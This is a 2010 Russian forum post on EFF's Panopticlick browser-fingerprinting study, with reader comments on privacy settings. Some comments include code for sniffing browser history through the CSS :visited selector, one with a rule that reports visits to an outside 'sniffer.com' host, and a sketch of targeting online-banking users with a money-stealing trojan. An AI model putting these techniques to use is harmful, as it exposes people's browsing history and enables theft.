войти зарегистрироваться

Информационная безопасность whois

индекс
212,69

Помогите EFF исследовать механизм слежки за веб-браузерами

Какие отпечатки оставляет за собой ваш браузер, пока вы серфите по сети?

Обычно, люди полагают, что они могут предотвратить возможность слежки за ними веб-сайтами, отключив cookies в их веб-браузере. К сожалению, это не вся история.

Когда вы посещаете веб-сайт, вы позволяете этому сайту получить доступ ко множеству информации о конфигурации вашего компьютера. Комбинируя эту информацию, можно создать некий отпечаток — подпись, которая могла бы использоваться, чтобы идентифицировать вас и ваш компьютер. Но насколько эффективным может быть данный способ онлайн-слежки?

EFF запускает эксперимент чтобы выяснить это. Наш новый проект Panopticlick будет анонимно собирать информацию о типе конфигурации и версии вашей операционной системы, вашем браузере и ваших плагинах и сопоставлять это с нашей базой данных, в которой хранится 5 миллионов других конфигураций. Затем он выдаст вам оценку уникальности, позволяя увидеть насколько легко вы можете быть опознаны в то время, когда вы находитесь в сети.

Добавление информации в нашу базу данных, поможет EFF оценить способности интернет-слежки и возможности компаний, занимающихся интернет-рекламой, которые уже используют подобные техники для записи деятельности людей в сети. Они разрабатывают эти методы втайне и не всегда говорят миру о том, что они нашли. Но этот эксперимент даст нам большее понимание о риске для приватности из-за отпечатков браузеров и поможет пользователям защитить самих себя.

Присоединиться к эксперименту:
http://panopticlick.eff.org/

Узнать больше о теории, которая за этим стоит:
http://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy
+18
29 января 2010, 03:56
Peter Eckersley
XPilot

комментарии (79)

  • А Вам не кажется что серверу требуется некоторый объем информации о клиенте чтоб обеспечить Web сервиса как таковую? Идея защиты приватности здесь больше похожа на диалог в кафе:
    — Что будете?
    — Я… а вы за мной не следите?
    — Нет. С чего бы, у меня тут тысячи людей каждый день бывают!
    — Я знаю, если сделаю заказ — вы запишите его в базу и передадите ЦРУ, они выследят меня где бы я не заказывал себе кофе… черт, я сказал кофе! я хотел сказать «мужские стринги»!
    *встал, убежал, зановес*
    • У меня истерика :-)
    • Только что зашёл, проверил.

      Передаются данные о плагинах браузера и об установленных шрифтах. Вот уверен я, что для генерации HTML/CSS это не нужно.

      Сразу вспомнилось startpanic.com/. Лелей свою паранойю, %юзернейм%!
      • Хренассе. startpanic.com выдал мне список сайтов, которые я посещал за последние пару месяцев… Как это сделано?
        • Ага, вот ещё интересная статья есть: www.azarask.in/blog/post/socialhistoryjs/
          Вкраце получается так: берётся список сайтов, загружаются в невидимый iframe и проверяются на предмет наличия посещённых ссылок :visited
          При достаточно большой базе можно составить неплохой отпечаток пользователя.
          • ну тогда нужно просто тупо чаще чистить хистори и cache…
            а да забыл. и еще надо выключить потенциально опасные дополнения. JS / Cookies / Flash ))))
            • /me полез за инсталляционной дискетой с Mozaic
    • Написано юморно.

      А может все было не так?

      Диалог в кафе:
      — Я Вас сфотографировал, взял образец Ваших отпечатков пальцев, позже мы возьмем образец ДНК с посуды!
      — ?!
      — За тем я Вам дам карту клиента, проход с которой через рамку на входе позволит нам Вас узнать.
      — Эээ…
      — Что будете?
      — Я… а вы за мной не следите?
      — Нет. С чего бы, у меня тут тысячи людей каждый день бывают!
      *встал, убежал, зановес*
  • Где же она — эта тонкая грань между паранойей и разумной осторожностью?
    • Для этого достаточно понять наконец что же такое паранойя.
      • «Если у вас нет паранойи, это не значит что ОНИ за вами не следят...»
  • НЛО прилетело и опубликовало эту надпись здесь.
    • по числу извилин ещё скажите
  • Отключайте еще HTTP referer и User Agent и вас можно будет отследить только по IP.
    Используйте прокси, и никто не будет вас искать.

    А вообще все это напоминает анекдот про «неуловимого Джо», который никому не нужен.
    • Плюс отключить Plugins, Javascripts. Ну и сменить User-Agent.
      К слову, на этом сервисе, идентифицировало только браузер и ос, взятую из строки User-Agent.
      • Я примерно так и делаю, почти нет рекламы, страницы грузятся быстро!
        • Ага, в опере удобно отключать по ф12

          js правда частенько нужен
          и flash для youtube

          Вот бы сделать исколючения по js flash cookies для нескольких сайтов а для всех остальных автоматом запрещать
          • Ну так вам повезло! Имеено для этого и есть функция Edit Site Preferences..., вызываемая правым кликлом по сайту, в ней для отдельного сайта можно разрешить/запретить JS и Flash, и еще что-то! Пользуйтесь!
            • Спасибо! мигрировал на запрет кук для всего. Непонятно только как по маске разрешить куки
              • Никак. Но для поддоменов, если вы например находитесь на сайте someone.habr.ru, а хочется разрешить куки для всего habr.ru, в свойствах сайта отредактируйте адрес (site) на habr.ru и после этого меняйте настройки. Тогда настройки будут применены ко всем поддоменам.

                Учтите, что без кук не получится залогиниться на сайте и не будет сохраняться корзина в интернет-магазинах.

                Все сделанные изменения можно просмотреть в настройках: Preferences — вкладка Advanced — Content — Manage site preferences
    • И ещё не забыть отключить подсветку посещённых ссылок на уровне браузера, а то поганый сайт может настроить разные стили для обычной и посещенной ссылок, а затем построить список ссылок известных сайтов (например миллион сайтов от alexa) и проверить, какой текущий стиль у них установлен. Конечно, такой архив весит десятки мегабайт, поэтому гадкий сайт воспользуется кластеризацией схожих сайтов, чтобы проверять только релевантные и популярные.

      И все ваши предпочтения сразу улетят злоумышленникам. И в аську вам будет идти спам уже с указанием вашего имени, любимого вида спорта и девичьей фамилией матери. Это с выключенным-то юзерагентом и реферером.
    • а еще отключайте HTTP_ACCEPT Headers.

      И вас найдут, потому что таких параноиков немного
  • Попросили бы базу у гугла. У них наверняка уже не только пользовательская база есть, но и все инструменты для слежения и нахождения пользователя в ней.

    Как страшно становится жить.
    • Особенно, после запуска гугловских DNS'ов))
      • Нет, как ни странно. После запуска Safe Browsing, который по умолчанию включен в

        Opera
        Firefox (1 или 2)
        Chrome
        • Хром в процессе своей установки рвется на десяток адресов. Если эти исходящие соединения обрезать, он попросту не ставится. О каком, блин, сейфбраузинге речь?
          • Имеется в виду база с вредоносными ссылками «SafeBrowsing», которой владеет Google. Но мне казалось, что там запросы идут не на прямую, а база подгружается, кэшируется и URL'ы проверяются браузером без отсылки…
            • 2-й firefox не кешировал, и на каждый запрос ломился к гуглу.

              При этом он отсылал все посещенные url.

              Как в новых версиях сделано — не знаю.
        • Firefox с версии 2.0.0.0 до 2.0.0.19 (в [пред]последнем планировавшемся релизе, Safe Browsing убрали), а потом уже с 3.0 и далее
  • Полагаю, малоэффективная штука. Если человеку (а особенно специалисту ИБ и программисту) действительно нужно быть анонимным в сети, ловить его и отслеживать этими приемами маловероятно. Хотя с другой стороны, лично я не скрываю, на каких сайтах могу оказаться.
    • Ну почему же, абсолютный аноним тоже видим, поскольку в сети не так много таких анонимов.

      Нужно генерировать рандомные юзерагенты, хранить рефереры, делать реалистичные паузы, сохранять порядок загрузки изображений и CSS эмулируемого браузера, проводить траффик через пяток прокси (поскольку каждый прокси передаёт серверу X-Forwarded-For), желательно через SSL-нутый SOCKS, скрывать истинную латентность соединения, думать об узлах сети на роуте вашего соединения, а также подменять данные джаваскриптам.

      Это настолько сложная задача, что неважно, специалист ИБ ты или программист. Интернет не анонимен и не может быть таковым, каждый должен это знать.
  • Бред какой-то. Как это может быть использовано для слежки?

    Вот если бы все сайты слаженно работали по такому принципу: на каком-то из них пользователь деанонимизировался, этот сайт передал эту информацию вместе с «отпечатком» в общую базу данных, и потом все остальные сайты из этой базы восстанавливали бы по отпечатку личность. Тогда да, и то с некоторой вероятностью. А так — ну и что с того, что определят у меня win 7 + firefox 3.6? Сайт меня «узнает», если я через некоторое время вернусь без cookies?

    Люди сидят и упоенно и самоотверженно составляют на себя полнейшие досье в социалках (про гугл и говорить нечего), а эти тут высасывают из пальца.
  • Вы будете смеяться, но мой Firefox 3.5.7 при нажатии на кнопку «Test me» просто молча аварийно завершает свою работу. =)
    Очевидно, ощущает злой умысел!
    • Firefox 3.6 тоже упал. Сработало только со второго раза
  • 1) С помощь CSS и JS можно получить отпечаток посещений популярных сайтов (посещал/не посещал)
    2) Есть алгоритмы, которые умеют распознавать людей по характеристиками долбления по клавиатуре. Наверняка что-то подобное и для мыши можно придумать.

    Использую эти два метода в совокупности с общеизвестными статическими данными посетителей, получаем очень высокую уникальность каждого. И никакие эксперименты проводить не надо.
    • а CSS проверяете на то, что прокешировался или нет?
      • Кидаете на совю страницу невидимый список анкоров на популярные сайты, а потом:

        if (jQuery("a#theLink:visited").length) {
        //anchor tag with id of "theLink" has been visited
        }

        и… о чудо!
        • давно, но было решение только на CSS.
          • это оно и есть
            Фиксировать всё равно чем-то нужно. Одним CSS не обойтись
            • Да ладно вам.
              a1:visited div {background:url('sniffer.com/?has=1');}


              Жаль, большинство хабраюзеров не поймут, насколько это было красиво =)
              • Черт. Порезало
                <a id=«a1» href=«target.com»><div></div></a>
              • Ой. Облажался. Респект :)
              • Опера не грузит вроде невидимые фоновые картинки :)
                • они вполне могут быть видимыми. совпадающими по цвету с фоном, прозрачными и проч.
        • Если я не ошибаюсь работает это довольно медленно и для реальных задач малоприменимо.
          • С разумным количеством ссылок это работает очень быстро. Не понимаю, откуда у вас взялось подобное предположение.
            • Видел демку пару лет назад. Повесила мой компьютер на пару минут, а нашла в итоге с десяток сайтов.
              • Вы не знаете, о чем говорите.
                • Давайте только уточним, разумное количество ссылок — это примерно сколько?
                  • Типичная задача: выяснить пол посетителя. Вставляем 30 ссылок на популярные мужские сайты, и 30 ссылок на популярные женские. Вот.
                    • В таком случае я с Вами соглашусь, 60 ссылок можно опросить мгновенно. Я же сталкивался с вариантом который прогонял по нескольким десяткам тысяч самых популярных сайтов. Поидее для составления точного портрета посетителя, определения его круга интересов именно это и понадобится.
              • Ну вот же, вот же startpanic.com
          • Для реальных задач — применимо

            Например, проверить, является ли «клиент» пользователем одного из 50-100 интернет-банков. И только если является, засаживать ему flash ролик с трояном, который сопрет деньги с данных интернет банков.

            Ни один антивирус при сканировании по url не найдет наш троян и на тестовых машинах, которые используются для отлова новых троянов, вряд ли будет сайт интернет-банкинга в «посещенных»

            Потом, проверку ссылок можно делать дозированно, чтобы сильно не загружался процессор. Тогда можно много перебрать.
            • Я просто имел ввиду задачу определения круга интересов пользователя для точного определения того какую рекламу ему показывать. Для более простых задач упомянутый метод конечно подходит.

              И вот как раз для показа рекламы проверку ссылок разбить на шаги к сожалению и не получится.
  • Показало какие-то английские буквы и таличку. Мне что-то угрожает или нет? Я так и не понял.
    • Нет
    • Я вам угрожаю. Страшно?
  • Установил новый шрифт или удалил старый — и всё, капец отпечатку? :)
    • Тяжела участь параноика — каждый день обновлять шрифты в системе, что в виртуальной машине запущена, что по впн в штаты коннектится, где squid прозрачно хедеры режет в интернете что построил Джек :)
    • Ну, Владимир Палант тоже делает это замечание, что для долгосрочного отслеживания данный способ вряд ли подходит. Но как часто вы ставите/удаляете новые шрифты (да и, если набор шрифтов уникальный, то при установке нового, ничего фактически не изменится)?
  • Вот что у меня вышло:
    IE7 под WinXP — Your browser fingerprint appears to be unique among the 180,709 tested so far
    Chrome 4 под Debian — Your browser fingerprint appears to be unique among the 180,351 tested so far
    Shiretoko 3.5 под Arch Linux — Your browser fingerprint appears to be unique among the 180,662 tested so far
    Opera Mobile 10 Beta под WM 6.1 — Your browser fingerprint appears to be unique among the 180,993 tested so far

    Не думал, что IE7 под win будет уникальней Chrome под nix…
    • Если я правильно понимаю, то это число ( Your browser fingerprint appears to be unique among the… ), это количество человек, которые прошли этот тест. Попробуйте по проходить его, оно всё время растет — люди проходят тест. Так что не понятно, зачем вы эти цифры даёте :))

      186,561 через пять секунд прошел опять, уже 186,573 tested
      • Да, Вы правы, прошу прощение, не так понял…
  • Из ie можно вытащить серийники некоторые.
  • Присоединиться к эксперименту:
    paranoik.eff.org/
  • еее, чёрт

    Your browser fingerprint appears to be unique among the 183,230 tested so far.
  • Currently, we estimate that your browser has a fingerprint that conveys at least 17.49 bits of identifying information.
    Firefox/7.3 выдаёт меня с головой :(
    • Opera 10.10 — 17.51 bits (Chrome 4 и IE8 столько же)
    • pxx
    • pxx
    • 29 января 2010, 14:18
    • #
      • +3
    Не знал, что на сервер можно получить установленные шрифты клиента.
    • Способ простой — перебором. Замеряем стркоу дефолтным шрифтом, потом меняем шрифт, если размер изменился, значит шрифт есть.
    • Здесь получают через Flash.

      Но можно и через css пытаться перебрать самые популярные. Для определения ОС точно хватит.
  • А по-моему, технология вполне реальна. Особенно если использовать шинглы, нейронные сети и аналогичные методы сравнения похожих параметров клиента. Особенно «жестока» такая система будет при её использовании в крупном счётчике (типа Alexa) или в крупной рекламной сети (типа AdWords).

    К недостаткам метода — относятся машины-клоны, которые «раскатываются» из одного образа. У них отпечаток будет очень похожим (за исключением цепочки IP).
    А также, полагаю, быстрая изменяемость некоторых ключевых параметров (плагинов браузера и шрифтов).
    В результате точность опознавания упадёт на порядки.
  • Currently, we estimate that your browser has a fingerprint that conveys at least 17.53 bits of identifying information.
    Что значит at least 17.53 bits?
  • Ого, оказывается через браузер запросив поддерживаемые шрифты можно с большой долей вероятности судить о том, что у меня стоит маткад или лингво.
  • Да идентифицируйте сколько влезет, мне-то что?
  • Добавить к этому анализ посещенных сайтов через getComputedStyle… и вообще ппц будет.
    Алсо, порадовала страничка о том, как стать тру-анонимусом =)
Только авторизованные пользователи могут оставлять комментарии. Авторизуйтесь, пожалуйста.